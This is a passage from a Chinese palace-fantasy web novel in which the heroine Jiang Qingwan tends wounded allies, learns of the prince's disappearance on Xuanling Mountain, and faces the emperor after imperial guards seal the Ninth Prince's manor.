夜七正抵挡在外围,那群人全用的远距离进攻的机关术,弩箭,飞刺,铁针,毒气弹……
护灵卫的人根本冲不过去,只能被动防守。
夜七觉得奇怪。
若是为了进攻皇陵,怎么可能迟迟不上前。
以这种攻势,护灵卫的人怕是挡不住。
他当下运气轻功,长剑破开飞射而来的弩箭找到隐秘处藏着的人,一掌攻去。
那人没料到护卫灵中有这么厉害的人,狼狈躲闪中弓弩掉在了地上。
夜七手里的长剑已经攻向他的脖子,紧急关头,忽听机关卡扣相连的声音。
半截弯刀飞驰而来狠狠挡住长剑。
“金钩弯刀!你们是大隋人。”
第123章 九龙阵
夜七大吃一惊。
这群人何时来到的玄灵山。
难道他们的目的并不是京城,而是皇陵?
“你今天必死!”蒙着黑色面巾的男人眼中露出狠厉之色,攻势越发猛烈。
夜七丝毫不惧,招招致命。
皇陵入口处,黑乌鸦化成的人形遭受重创,毫无还手之力,很快被张衡水的人斩杀,只留了两个活口。
卫兵将掉在地上的黑盒子递给张衡水。
“将军,这是他们偷的东西。”
张衡水刚刚松的一口气瞬间又提了起来。
看着盒子上雕刻的蛇口玉图案,他差点撅过去。
“这这这……完了完了,全完了。”
张家祖辈守灵,也有些规矩偷偷传了下来。
张衡水的父亲交代过,皇陵最深处有个九龙阵,巨龙的嘴里叼着个宝贝,一旦这宝贝出事,必须快马加鞭上报朝廷。
他没见过宝贝。
可他父亲给画了宝贝盒子上的图案,可不就是手里这个吗?
“快,快备马,我要入宫!”
夜七本想抓个活口,可没想到这群人竟临时撤退,所有暗器全冲他而来。
他只等躲闪规避,等再想追,人已经没了影。
这时负责外围的千户跑了过来,眼中并无感谢,而是满眼警惕。
“兄台,你是何人,为何会出现在玄灵山。”
夜七心中记挂山中的墨云寒,并未说什么,只道,“围攻皇陵的是大隋余孽,快快上报朝廷。”
说完脚下一点飞驰而去。
看他所去的方向,千户大惊。
“站住!”
可眨眼的功夫哪里还有人影。
他身边的一个卫兵小声道,“大人,他腰间挂着的令牌好像是九王府的。”
“九王府?”
千户心中一惊,立刻去追张衡水汇报情况。
而此刻坤宁宫的地下暗室内,神秘人被劈的奄奄一息,靠近心口的位置,一颗红色的类似于心脏的东西在闪烁着红光,将他已经快烧焦的皮肤一点点复原。
“该死的!别让我抓到你!”
王府后院内,江清婉小手一拍完美收工。
管他是谁,先劈个半死解解气。
这种地中雷威力极强,幸好她今日吸收了五枚丹药,要不然,还真启动不了这么强的阵法。
她抬手擦了擦额头上冒出的虚汗,看向一旁已经蹲了很久的两个人。
“我饿了,要吃肉。”
莲儿咕咚咽了下口水,小心翼翼问,“小姐,抓到了吗?”
江清婉狐疑的看着她。
“抓什么?”
李斗举手。
“鬼啊,跳大绳的不都是抓鬼吗?”
江清婉被他无比真诚又直白的话呛得差点吐血。
她乃诸葛门天赋最高人称天下第一神算的云天机啊,才不是跳大绳的。
见她神色不对,莲儿拉下李斗的手臂。
“这次没抓到下次一定能抓到,小姐很厉害的。我去炖肉。”
李斗煞有介事的跟着点点头,却是紧拽着莲儿的胳膊不松。
“可我有点怕。”
莲儿看着他那么大的块头,在那里瑟瑟发抖,忍不住白眼都快翻上了天。
这时院门忽然被人大力推开。
血腥味瞬间弥散而来。
李斗和莲儿吓得连声尖叫。
“鬼来了。”
江清婉皱眉看去。
月色之下看不清来人。
只看到一个岣嵝的人影踉跄了两步摔趴在地上一动不动。
可她知道,那不是鬼,也不是什么邪祟。
当下快步上前。
莲儿虽害怕,却还是拽着李斗跟了上去。
“小姐,不拿桃木剑吗?”
还离一步远的时候,那人影忽然动了起来。
莲儿和李斗再次抱在一起瑟瑟发抖。
江清婉却已经看清了人。
“苏掌柜?莲儿,过来扶人。”
一听是人,还认识。
莲儿赶紧回神,拍开还死死抱着她的李斗小跑过去。
“小姐,是两个人,李斗,快帮忙。”
李斗力气大,将被苏柳儿压在身下的小武给提溜了起来。
“小姐,他晕了。”
苏柳儿瘫在莲儿的肩膀上,话几乎说不出来。
“累……累晕的。”
江清婉让李斗带小武去休息,随后和莲儿一起将苏柳儿扶进了自己的寝卧。
“你伤的不轻,莲儿,去回春堂请钟大夫来一趟。”
“是!”
莲儿将手里的温水和帕子放下,拿了灯笼急匆匆离开。
苏柳儿靠在床边握着江清婉的手总算是缓过了一口气。
“去告诉王爷,大隋余孽已到玄灵山。”
江清婉惊住。
“你……你是墨云寒的人?”
她还以为苏柳儿是按照她的指令去找人才受的伤,没想到竟然还另有牵扯。
苏柳儿点点头。
“淮楼是王爷的。”
江清婉一时之间不知该作何反应。
苏柳儿急的催她。
“你快去啊,王爷一直在查此事,万不可耽搁。”
江清婉对他们做的事并不知晓,但苏柳儿拼死带回来的消息一定很重要。
她点点头。
“我现在就去。”
她的身份去前院没人敢拦也没人敢问。
很快就到了正殿,可里面连盏灯都没有。
她叫来值夜的小厮。
“墨云寒没回来吗?”
小厮忙躬身行礼。
“王爷未归。”
江清婉皱眉,摆摆手让人下去。
随后抬头看向寂静的四周,尝试着喊了一声,
“夜十三?”
一道黑影很快落在她面前。
“王妃。”
江清婉松了口气。
果然有暗卫潜伏。
“你知道墨云寒去了哪里吗?”
夜十三摇头。
“不知。”
江清婉想了想,干等着也不行。
“你能出府吧?”
夜十三想起夜七的交代,拱手道,“请王妃吩咐。”
江清婉走近了一些。
“去找夜七或者墨云寒,告诉他们,大隋余孽已到玄灵山,是苏柳儿传的信。”
夜十三听到苏柳儿的名字瞳孔猛地一震。
心知事情紧急,当即应下,眨眼间就消失在夜色之中。
江清婉目露羡慕。
什么时候她也能有这本事。
事情交代完,她便离开了正殿的院门准备回后院,却在出来的时候撞上了穿着薄纱提着灯笼一脸娇羞的云筱然。
她来的匆忙并没有提灯笼。
两个人差点撞在一起。
云筱然还以为是哪个不长眼的丫鬟,当即怒喝。
“瞎眼的狗东西,还不让开。”
江清婉实在瞧不上她人前一面人后一面的模样,环抱双臂冷冷笑道,“云姨娘今日还娇滴滴的与我见礼,喊我姐姐,怎的突然变得这般蛮横粗鄙?”
云筱然将灯笼稍稍提高了一些,这才看清是江清婉。
又往她身后看了看,见并无他人,脸色依旧跋扈。
“江清婉,你少在我面前装,你不是说云寒哥哥昨夜去哄你了吗?怎么今天还这么着急的舔着脸来找人?”
江清婉啧了一声。
“你知道王府中有暗卫吧?”
云筱然脸色骤变。
江清婉却悠然错身离开。
“要装就装得像一点,挺丢人的。”
云筱然气的咬牙切齿,却不敢再乱说,眼神警惕的看向四周,片刻后挺了挺胸,迈进了院门。
第124章 很不喜欢你
钟大夫来的很快。
诊断之后,面露难色。
“江娘子,她后背上的伤口太深,最好能缝合一下,否则极难愈合。可看位置,若是缝合,要褪去全部衣衫,老夫实在……不方便。”
苏柳儿趴在床上,脸色惨白如纸。
闻言道,“那就不缝,包扎一下,我还有事。”
钟大夫连连摆手。
“你现在不能乱动,若失血过多,就算是缝合了伤口也是神仙难救。”
江清婉想了想。
“我来吧。”
钟大夫和苏柳儿齐齐看向她。
莲儿也是满脸诧异。
“小姐,您连荷包都不会绣。”
江清婉瞥她一眼。
“这跟绣荷包不一样,我以前给山中的兔子缝合过伤口。”
莲儿顿时露出崇拜之色。
“那兔子被小姐救活了?”
“没救它。”
江清婉已经开始净手,“不过往肚子里塞上调味料然后缝合好再烤着吃,味道极好。”
屋内三人齐齐瞪大了双眼。
苏柳儿一个气息不稳,连着咳嗽起来。
后背上的伤再次渗出衣衫。
“放心吧,我手很稳的。”
江清婉示意钟大夫准备。
以前大师兄逼着她拿针刺穴的时候,小柳条儿都抽断了好几根。
虽然抽的是木头桩子,但对幼年的她还是很具震慑力的。
钟大夫想不出旁的办法,心里更信任江清婉的本领。
便将银针鱼线和药全都准备后。
“这是麻沸散,止疼的,但要少用,对身体不好。”
他喋喋不休的交代时,江清婉已经摸出空白符纸刻画完符箓,直接拍在了苏柳儿的后背。
剧烈的疼痛几乎在瞬间消散。
苏柳儿虚弱的看着她。
“为何你刚刚不帮我止疼?”
“你又没给银子。”
“那为何现在帮了?”
“我缝针你乱动怕扎到我。”
苏柳儿被这话气的想昏死过去。
偏偏她浑身虚弱,感觉却又异常清晰,皮肉被针一下下刺破,鱼线穿过的拉拽,只让她头皮一阵发麻。
这时门外响起李斗的声音。
“小姐,那个人吐血了,你快去看看吧,可能要死了。”
“小武!”
苏柳儿急的想起身,可却发现除了脑袋清醒能转动能说话,身体完全动弹不得。
钟大夫见江清婉缝针的动作还挺顺畅,便站起身道,“老夫去看看。”
“多谢。”
苏柳儿这才松了口气。
莲儿也跟着出去了,房间里只剩下江清婉和苏柳儿二人。
气氛异常静谧。
苏柳儿看着她半弓着身体给自己缝针,苍白的唇角勾了勾。
“初次见你,我很不喜欢。”
江清婉依旧全神贯注,闻言笑着回了句。
“为何?因我太漂亮?”
苏柳儿瞥了个白眼。
“那是我第一次见主上对一个女子如此上心,与对待云筱然并不同。”
江清婉缝针的动作顿住。
“那日在淮楼你帮我解围是墨云寒让你去的?”
“是。”
苏柳儿将脸趴在枕头上,鼻翼间能闻到江清婉身上淡淡的清香。
“我承认对你存在偏见,总觉得一个下堂妇,旁的男人不要的女子,凭什么站在主上的身边。可小武背我来到王府门外,我想到第一个能帮我传话的人,竟然是你。”
江清婉收了最后一针,用干净的纱布将血擦掉,上了药,便去净手。
洗干净之后才扶着她坐起,前后缠绕,给她将伤口牢牢包扎好。
刚弄好,莲儿就快步走了进来。
“小姐,那个人情况不太好,钟大夫请您忙完过去一趟。”
“小武怎么了?”
苏柳儿急声问道,奈何身体还是不受控。
莲儿看了眼江清婉,见她点头才如实说道,“钟大夫的意思是他背着你一直赶路,伤到了肺腑,这会儿还在吐血。”
“江清婉,不,王妃,求你救救她。”苏柳儿红着眼眶,死命忍着眼泪,“我带去六个兄弟,只有我们两个活着回来了,小武不能死。”
治病救人的事,江清婉是真的没有把握。
她将被子给她拉到肩膀。
“你现在什么也做不了,踏实休息吧,我去看看,若能帮忙,我会尽力,莲儿,守着她,别让她乱动。”
“是,小姐。”
小武被安置在李斗的房间。
江清婉进去的时候,人果然还在吐血。
眼见着气息微弱,死气已经萦绕在眉心。
钟大夫见她进来,忍不住摇了摇头。
“五脏六腑皆已受损,怕是难救。”
江清婉走过去看了眼。
“我有法子让他停止呕血,您尽力而为吧。”
她不会行针,但是她可以用灵气催动符箓的力量暂时护住脏腑上的伤,关键还是在于钟大夫的本事。
以灵力输送符箓的力量有些费神。
结束的时候,江清婉的脸色也变得有些苍白。
好在这法子惯用,小武没再吐血,钟大夫用药叼着最后一口气,至于能不能活,只能尽人事听天命。
因伤情棘手,钟大夫便没有离开,一直守着。
李斗和莲儿在旁帮忙,江清婉便回了自己的房间,躺在小塌上休息。
折腾了一晚,她损耗不小,也没精力想其他。
左右暗卫之间肯定有办法联系,就算夜十三找不到墨云寒也一定找得到夜七。
消息传出去至于接下来会发生什么,她并不关心。
睡得迷迷糊糊的时候,忽然感觉有人拽自己。
她猛地睁开双眼,就看到脸色惨白的苏柳儿正蹲在小塌前,手握着她的胳膊,声音压得很低。
“有人来了!武功不弱,不是王爷!”
太阳还没出来,外面透进来的光依旧有些暗。
这个点如果不是王爷,深入江清婉的闺房定然图谋不轨。
苏柳儿拔下江清婉头上的簪子。
“若有危险我拦着你去前院搬人。”
说完快步藏到门口,等着一击致命。
江清婉的脑子总算回过神来,忽然想起可能是青穗,立刻抬手制止,“小心。”
门已打开,进来的青穗虽未防备却伸手敏锐。
还以为江清婉遇到危险,直接下了杀招。
好在江清婉及时喊了声,停下的时候,她的手还掐在苏柳儿的脖子上,只需一下就能折断。
“是你!”
苏柳儿认出青穗,虚弱的差点站不住。
江清婉已经下了小塌。
“青穗,扶她回床上躺着。”
等安顿好苏柳儿,江清婉也没避着。
昨天是赤阳日,黑乌鸦肯定肯定不可能联系秦明朗。
便直接问道,“秦明朗去护国寺做什么?”
青穗低语。
“太后在护国寺遇袭,秦明朗救驾有功,连夜护送太后回了皇宫,袭杀太后之人,据说是大隋余孽。”
“什么?”
刚刚趴下的苏柳儿惊得撑起身子,心里忽然生出不好的预感。
第125章 封禁王府
青穗自退出暗卫营,暗卫营内的消息便不能再接触。
她诧异的看向苏柳儿。
“你吃惊什么?”
苏柳儿没理她,只低声嘟囔。
“大隋余孽去了玄灵山,却也去了护国寺,他们到底想干什么?”
“江清婉,王爷有消息了吗?”
江清婉皱了皱眉。
“青穗,你去前院找夜十三,若他在,让他来见我,若他不在,问问守卫,王爷昨夜可回去了?”
“是!”
青穗应下匆匆离开,很快就折返回来。
“小姐,王爷昨夜没回府,夜十三也不在。是不是出事了?”
江清婉想起那夜治腿之后,墨云寒形色匆匆的离开,心里也升起不安。
“苏掌柜,你还知道些什么?”
苏柳儿急道,“我只知道王爷在调查这群贼子,他们手中用的兵器叫金钩弯刀极为厉害。我让你帮我寻的那群卖宝之人也是这群贼子,我怀疑他们在用各种方式搜刮银两储备军需,他们出现在玄灵山,一定是贪图皇陵中的宝贝。护国寺怕只是掩人耳目,王爷定然是查到什么,遇上了危险,否则怎会迟迟不见踪影。”
她越想越有这个可能,一把拉住江清婉的手腕催促。
“你不是能寻人吗?你开卦找找王爷在何处?”
江清婉手边并没有墨云寒的贴身之物。
想了想从荷包里将那块龙牌拿了出来,开始起卦。
苏柳儿看到龙牌后心中一惊。
“王爷竟把这个给你了?”
江清婉没说话,凝神起卦。
手中小小的罗盘上的指针却纹丝不动。
她的脸色越发凝重。
出现这种情况只有一种可能,墨云寒被困在某个极强的阵法之中,灵气干扰,卦象不显。
难道是黑乌鸦的主人?
可昨晚她二人斗法,那人必受重创,怎么可能还会有这么大的能力能困住墨云寒,让她的罗盘动都不动。
“怎么样?能找到吗?”
苏柳儿急的催促。
青穗刚要上前,忽地警惕的拔出腰间匕首,快步冲到门口。
同时对着江清婉二人做了个噤声的动作。
苏柳儿下意识挡在了江清婉前面。
她能察觉到,来人杀气极重。
推门而入的瞬间,青穗的匕首飞刺而出,却被一柄长剑挡住。
“夜七?”
夜七满身的风尘仆仆,气息不稳,眼角通红,脸色更是难看至极。
在他身后跟着蒙着面巾的夜十三。
江清婉的心顿时沉了下去。
“墨云寒出事了?”
虽是询问,可语气却异常肯定。
夜七顾不得行礼,快步走到苏柳儿身边一把攥住了她的肩膀。
“你为什么会出现在玄灵山附近,到底发生了什么?”
苏柳儿刚要解释,就被江清婉打断。
“夜七,你与墨云寒在何处分开?”
能困住墨云寒的地方,夜七不可能冲的出来。
“玄灵山后山。”夜七死死握着剑柄,“皇陵遭遇大隋余孽袭击,王爷让我支援,等我返回山中寻他,却再也寻不到,后来看到夜十三释放的烟花暗号,我还以为王爷已经下山。”
他越说越心急。
“王妃,王爷在山中吐了几次血,身体很是虚弱,是不是你那晚……”
周围还有人,他没法说的太过直白。
江清婉问道,“玄灵山可有阵法?”
夜七点头,“有护山大阵,不过皇室中人以血为祭便可以进出。”
“去玄灵山。”
江清婉将罗盘塞进荷包,随便拿了件披风就准备走。
夜七几人自然跟随。
苏柳儿也想去,却被喝止。
莲儿和李斗听见动静此刻都在院子里。
“小姐,出什么事了?”
江清婉还未回答,外界的街道上忽然传来整齐划一的马蹄声。
夜十三已经飞跃到墙头查看,眨眼间又落在江清婉面前,脸色异常凝重。
“是御林军,朝着王府来的。”
“御林军?”夜七皱眉,“哪个首领?”
“燕云青!”
夜七心中一凛。
竟然动用了御林军统领。
“来者不善,青穗,十三,你们先护着王妃离开去玄灵山,我去吸引燕云青的注意力。”
此时,燕云青已经勒住马缰停在了王府门口。
手持黑金令牌沉声喝道,“奉旨,封禁九王府,任何人不得离开,抗旨者格杀勿论!”
青穗脸色微变。
“燕云青是大周第一高手,你去吸引注意力,纯纯找死!”
“王爷的性命最重要。”夜七却丝毫没犹豫,转身冲着江清婉鞠了一躬,“请您务必将王爷带回。”
后院门外,也响起了御林军整齐的脚步声和弓弩拉满的声音。
江清婉叫住准备离开的夜七。
“你一旦暴露,后院里所有人都得死。”
夜七怔住,看了眼站在一旁完全不知发生了何事的莲儿和李斗。
那是江清婉的人,他无权决定他们的生死。
“那怎么办?王爷现在生死未卜,我们岂能被困在王府干等着?”
江清婉想了想。
“莲儿李斗,你们呆在后院,照顾伤员,青穗,你留在这里护着他们,十三,你回自己该待的地方,告诉所有暗卫不可妄动。”
“夜七,你随我去前院。”
众人对视一眼,心中皆定了定。
此刻前院内也已经乱作一团。
王府内的府兵全都围去了前厅,与御林军的人双双对峙。
宋玉书显然是被匆忙吵醒的,发髻都没有梳好,只披了件外衫。
“燕统领,这里是九王府,你想干什么?”
燕云青一身浅棕铠甲,居高临下的坐在黑色骏马之上,严肃冰冷的脸上没有半点表情。
“九王殿下何在?下官奉旨宣召入宫,还请出来一见。”
宋玉书看向正殿伺候的小厮。
“王爷呢?”
小厮吓得浑身哆嗦。
“回夫人,王爷昨夜没有回府。”
宋玉书心里有些不安。
“燕统领,到底出了什么事?”
燕云青冷冷抬手,“九王殿下未露面之前,王府封禁,若有妄动就地诛杀!”
宋玉书扶着玉英的手踉跄着差点站不住。
王府建府以来,从未遇到过这种情况,定然是出了大事。
人群中的云筱然眼波流转。
这么大阵仗,一定是惹了皇帝震怒。
可太上皇还在,皇帝就绝不可能真的对墨云寒如何。
若是她能在这个时候稳住局面,与他共进退,救他于水火。
他们的感情必定会和好如初。
思及此,她立刻高高举起带着金镯子的手腕,从人群中走了出来。
“燕统领,此物乃太后娘娘亲赐,允我入宫不必另行请旨,还请放行。”
第126章 入宫
宋玉书立刻看向她。
府兵和各处的丫鬟小厮也都齐刷刷投去目光。
这让云筱然很是受用。
她一定会让王府内所有人以后以她为尊,就算江清婉是王妃,也只能空顶着一个破名分,仰人鼻息的苟活。
燕云青的也在这时看了过去。
冰冷的声音没有任何起伏,严肃的像一柄只会听命杀敌的刀。
“本统领说了,谁敢妄动,就地诛杀!”
云筱然高傲的仰起头。
“你看清楚,这是太后亲赐!”
燕云青拿过身侧侍卫的弓箭,毫不犹豫拉弓射出。
“砰!”的一声,那只羽箭直直刺在云筱然的绣鞋边,再进半寸,脚就废了。
云筱然吓得连连后退。
“你……你大胆,竟然连太后娘娘都不放在眼里,他日我定要禀明太后,治你个大不敬之罪。”
燕云青冷哼。
“请便!”
摆明了油盐不进。
这时宋玉书看到了从后院过来的江清婉,立刻迎了上去握住了她的手。
“清婉,你可知王爷去了哪里?”
云筱然不屑的轻嗤道,“舅母,就算她真的知道又有什么用。外面的人连太后娘娘的面子都不给,你还指望她能出去不成?”
江清婉没功夫理会她的阴阳怪气,轻轻拍了拍宋玉书的手背。
“放心,我会找他回来。”
说罢抽回手走向府门口。
破空声再次袭来,夜七长剑飞出直接将羽箭劈开。
“这是我们九王妃,你好大的胆子!”
燕云青微微眯了眯眼。
“夜七,九王殿下最得力的侍卫,你手持利刃,阻挠本统领公务,可是想公然抗旨?”
夜七气的刚要动手就被江清婉拉住。
“燕统领,我要见皇上!”
云筱然噗嗤一声笑了出来。
“李嬷嬷你听听,她要见皇上?她以为自己是谁?真当宣了赐婚的圣旨就真的成了九王妃吗?还未行礼,还未祭祖,谁认她王妃的身份!连我都出不去,她凭什么?真是自不量力。”
燕云青缓缓抽出了挂在马鞍山的长剑,三尺青峰,在晨曦中泛着冰冷的杀意。
“擅闯者,死!”
云筱然忽地兴奋起来。
迫切的希望那把剑直接砍掉江清婉的脑袋。
江清婉从荷包中摸出龙牌高高举起。
“我要见皇上!”
燕云青握着长剑的手猛地一僵。
“你竟有龙牌?”
江清婉将龙牌系在了腰间。
再次迈步往前走。
即便有圣旨在,燕云青也不敢拦。
他将长剑猛地收回剑鞘,抬手下令。
“让路。”
宋玉书心中长松了一口气。
还好,还不是死局。
云筱然恨的银牙都快咬碎了。
不行,机会难得,她绝不能让这贱妇一个人抢了功劳。
当下又走了出来。
“姐姐,你带我一起入宫吧?我能去找太后帮忙,我们姐妹齐心协力,一定能帮云寒哥哥化解危机的。”
江清婉回头瞥了她一眼。
“你不是有太后赐的镯子吗?还用求我?”
说罢抬步踏出府门。
云筱然被当场打脸,气的肺都要炸了。
她就不信,一个平民贱妇,没了墨云寒的保护,到了皇上面前,能泛起什么浪花。
若是惹了祸端,被当场砍了脑袋也不是不可能。
她立刻笑盈盈福了下身。
“那我们就在次等候王妃姐姐的好消息了,你可万万不要让我们失望。”
江清婉没理,带着夜七出了府,经过燕云青身边时。
她再次听见了长剑出鞘的声音。
随之是夜七愤怒的质问。
“你想动手?我不怕你。”
燕云青却道,“持龙牌者本统领拦不得,可你若是敢妄动,就是抗旨,必死无疑!”
“你!”
夜七怒极却又半点办法都没有。
江清婉深吸一口气。
“夜七,你留下,我自己入宫。”
“王妃!”
夜七忧心忡忡,谁也不知皇上让御林军封府到底意欲何为,她一个弱女子,就算有龙牌护体,进了皇宫,谁也不敢保证会出什么意外。
更何况还要去玄灵山找人。
可眼下,他能带人血拼硬闯,可造反的罪名就成了板上钉钉。
“相信我。”
江清婉冲他淡淡笑了笑。
远处猎鹰疾驰而来,似有感应般停到她身边,硕大的马头呜咽着蹭她的脸。
江清婉笨拙的爬上马,又听见燕云青的声音从背后传来。
“你们两个,护送九王妃入宫,不得有误!”
江清婉早就知道,她若不能说服皇上,根本去不了玄灵山。
刚入辰时,长安区各府邸已陆续有人出府上朝,见到这么大的热闹,皆是立在马车前侧目。
江清婉将披风系好,双腿一夹马腹,猎鹰疾驰而去。
他们的速度很快,可到了皇宫的时候,还是已经有朝臣陆续入宫。
进了宣武门,必须下马。
猎鹰被留在外面,那两个护送的侍卫也留在了外面。
江清婉第一次入宫,周围环境全是陌生的。
她想找个小公公引个路,这是一个锦衣公子歪头看了过来。
“你是哪个宫里的?怎么在此徘徊?”
江清婉闻言转身,腰间龙牌轻轻荡了荡,在阳光下异常显眼。
锦衣公子的眼底闪过一抹诧异,再次上下打量着江清婉。
难道这位就是九皇叔坚持要娶的那位江娘子?
倒真是个美人。
江清婉此刻也顾不上其他,微微福了福身。
“你知道皇上在哪儿吗?”
锦衣公子点点头。
“我带你去。”
江清婉心中一喜。
“多谢。”
二人并肩往前走,绕开上朝的朝臣,进了僻静的小路。
“这边人少,绕过御花园就能到昭阳殿,不过这会儿父……皇上马上要上朝了,你怕是见不到,就在御书房外等吧,下朝之后,便能看见。”
江清婉虽有些着急却也知道不能乱了手脚,忙点了点头。
“好。”
她没再开口,气氛有片刻的沉默,锦衣公子忽又问,“你不怕我是恶人,将你带到无人之地意图不轨?”
江清婉愣了愣。
这才又抬眸看向他。
刚刚没仔细看,此刻瞧的细致一些,才发现此人竟隐隐有帝王之相,只是初见苗头,并不显山露水。
而且身上龙气极淡,远不如墨云寒。
师父曾严令诸葛门人插手皇朝更迭,原因就在于此。
皇室权势之争瞬息万变,冗杂天道,不可估卦。
若是强行参与其中,一旦触了天道,会遭反噬。
她收回目光淡淡回了句。
“我看得出,你是个好人。”
锦衣公子愣住,片刻后大笑出声。
“我长这么大,第一次听见有人这么评价我,倒是新鲜。”
第127章 对峙
快到御书房的时候,隔着长长的石阶,锦衣公子便停下了脚步。
“那就是御书房,我还有事,不方便再送,姑娘自便。”
说着微微颔首后转身走了。
江清婉对其印象不错,从荷包里摸出一张空白符纸,刻了符箓后折叠成三角状,追了两步将人叫住。
“这个护身符送给你,就当还今日人情。”
锦衣公子看了眼,伸手接过。
“多谢。”
两清之后,江清婉没再多言,快步踏上石阶。
锦衣公子站在无人的角落看着她拿着龙牌跟守在御书房外的太监交涉,嘴角缓缓勾了勾,手指摩挲着护身符片刻后塞进腰间束带。
这时身后有人急匆匆跑来,气喘吁吁。
“四殿下,奴才一眨眼的功夫您就没了影,真是让奴才好找,咱们快去坤宁宫吧,若是最后一人,又要被责罚了。”
昨夜太后遇袭的事情,虽消息未曾外传,可皇室子弟都已知晓。
离得近的,得宠的皇子,昨夜就已经入宫问安。
这种时候谁落了最后,定会被扣上一个不孝的帽子。
墨少泽轻哼一声。
“我被父皇遣送别院内自生自灭,消息自然知晓的晚,从别院过来也需时间,若太后真要责罚,就算我第一个问安,也依旧会罚。”
“殿下,皇宫重地,切莫妄言。”
多年服侍他的小江子急的跺脚。
墨少泽却并不当回事,长腿迈动朝着坤宁宫而去。
……
御书房外守着的太监多的是各宫的眼线。
等皇上下朝看到江清婉时,消息早就传了出去。
太后遇袭,九王府被封,其中干系,没人敢乱猜多言。
此刻江清婉已经站在了御书房内。
墨云昭的声音淡淡,“你就是小九非要娶的那位**?抬起头来让朕瞧瞧。”
江清婉并不喜欢这种皇朝中鲜明的高低贵贱之分。
可眼下事态紧急,她也只能守着规矩。
墨云昭坐在书案前,将她从上到下细细打量了好一会儿才抬了下手。
“起来说话吧。”
江清婉站起身,眸光清冽的看向上方。
“多谢皇上体恤,民妇莽撞前来,是想知晓墨云寒究竟所犯何罪,皇上为何要封禁王府?”
墨云昭抬手屏退了所有太监。
指尖轻轻敲着桌案,帝王的威慑力让殿内的气氛异常压抑。
他的眸子落在江清婉的腰间。
“若不是那块龙牌,就你刚刚说的话,朕可以让你死一百次。”
江清婉神色渐冷。
“墨云寒是我夫君,赐婚的圣旨是皇上亲自拟的,盖的是大周的玉玺印章,既如此,我夫君出了事,我这个做夫人前来问一问,不知罪在何处需要死上一百次?”
墨云昭眸色微凛,很是意外。
一个被和离抛弃过的商籍妇人,第一次面圣,竟有如此心态。
倒是有些过人之处。
他语气稍缓,
“朕不是**,小九是朕最疼爱的幼弟,可他这次,实在做的过火。前几日朕命他密查大隋余孽之事,他呈上的简报中并未提及贼子入京,累及太后在护国寺遭袭,朕也只当是他疏忽,未想过责罚。”
“可皇陵守卫连夜入宫,上奏大隋余孽闯入皇陵盗宝,更有千户亲眼所见,小九的侍卫出现在玄灵山,假意对敌后,那群人便撤了。如此巧合,朕不能不怀疑他私通叛贼,欲破坏大周龙运,更想借叛贼之手,除掉太后为他死去的母妃报仇。”
江清婉听得无语至极。
“任何人做任何事,都有所图,您说墨云寒私通叛贼,那他目的为何?他身为大周皇子,破坏了大周龙运,不是自取灭亡吗?至于护国寺的事……”
她在听说太后在护国寺遇袭被秦明朗所救之后,便知晓这一切都是秦明朗所策划。
可现在她并没有证据。
“可有证据能证明与墨云寒有关?至于夜七为何会出现在皇陵,是因为他们去了玄灵山后山,恰好看到有人闯皇陵所以……”
“啪!”
墨云昭猛地一拍桌子,龙颜震怒周身杀气飙升。
“小九去了玄灵山?怪不得那些贼子能闯入皇陵,原来是他先去破坏了护山大阵!皇子私入玄灵山是大忌,小九明知故犯,其心可诛。**,事实真相已然大白,你还有何话为他辩解!”
江清婉并不知道,皇子私入
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玄灵山会是这么大的罪。
她也没来得及问夜七,墨云寒为什么要去玄灵山。
可眼下,所有事情全都指向了墨云寒。
她知道,再多争辩,都不及找回墨云寒当面问清楚更能自证清白。
她敛下情绪抬眸道,“你让我去玄灵山,我一定让护山大阵恢复原样,在此之前,还请你不要针对王府中人,至于你说的罪责,等墨云寒回来,让他与你交代。”
墨云昭的眼底闪过一次狐疑。
“你能修复护山大阵?”
“能!”
江清婉斩钉截铁的回答震得墨云昭心尖一颤。
这女人,莫非真有大能?
“**,你可知护山大阵对皇陵的重要性?口出狂言,是要论罪的。”
江清婉不愿涉足皇室就是讨厌这些规矩。
动不动就要**,动不动就要论罪论处,连个道理都不给讲。
她从腰间拽下龙牌。
“我把这个押给你,若我做不到,任由你处置,这总行了吧?”
这时,御书房的门却被人缓缓推开。
墨云昭刚要发火。
入内的老太监已朗声开口。
“传太上皇口谕,九王妃所求即我所求,不可阻挠。”
说完才躬身行礼。
“老奴给皇上请安,吾皇万岁。”
墨云昭一口气卡在嗓子里,脸色憋得异常难看。
“父皇身居养心殿不出,倒是对皇宫诸事了如指掌,却不知母后遭次劫难,他是否肯去慈宁宫探望。”
老太监淡笑回应。
“太上皇他老人家的心思,老奴不敢猜,口谕已传达,老奴告退!”
御书房的门再次被关上。
殿内一片死寂。
江清婉能清晰的感觉到墨云昭落在她身上的杀气。
片刻后,却又敛去的无影无踪。
“既然太上皇恩准,那朕便给你三日,三日后,若你不能修复护山大阵,就算小九回来,也护不住你。”
江清婉拱手应下。
“好,那就三日。”
她说完重新将龙牌挂在腰间,转身出了殿门。
意外的是,老太监并没有走,而等在了石阶之下,见她出来,笑眯眯的躬身行礼。
第128章 乱扣罪名
江清婉并不知晓太上皇跟墨云寒真正的关系是否如外界传闻那般纵容宠爱。
但无论是上次府门外赐礼,还是今日御书房帮忙,他都是护着墨云寒的,甚至不惜跟皇上太后不睦。
她快走几步,浅浅回了一礼。
“替我谢过太上皇。”
老太监忙谦卑的往侧面移了移,并没有受江清婉的礼。
“九王妃要谢,他日等九王殿下回来,再去养心殿谢恩吧。太上皇知晓您入宫并未带随从,特赐了侍卫在宫门外等,希望能帮到王妃。”
江清婉有些意外,没想到太上皇连这个都考虑到了。
她一人去玄灵山的确有些困难。
夜七等人被困在王府,也帮不上忙。
稍作停顿,她没有拒绝。
“多谢!”
说罢微微颔首转身离开。
出宫的时候有小太监引路,并没有费多少功夫。
猎鹰见到她立刻踢踏着马蹄迎了上来,江清婉看到,猎鹰所在的位置,站着一个黑衣劲装的男子,脸上带着赤金色的面具,面具之下的眸子,冰冷如刀。
而燕云青派来的两个侍卫全都不见了。
见她看过去,男人抬手拱了拱。
“赤森,奉太上皇之名护你周全。”
江清婉瞥向他身后。
“你的马呢?”
“我不用。”
赤森说完,身形一展,人已经轻跃上屋脊,眨眼的功夫就没了影。
江清婉怔了怔,心中略有些烦躁。
怎么那么多可以神出鬼没轻功绝尘的人。
她忍着双腿间摩擦的疼痛,再次翻身上马。
她决定解决完这件事后,就找人定制一副软马鞍,太硌屁股了。
……
坤宁宫内,
太后半靠在床上,听完桂嬷嬷的话,猛地将手中药盏砸在地上。
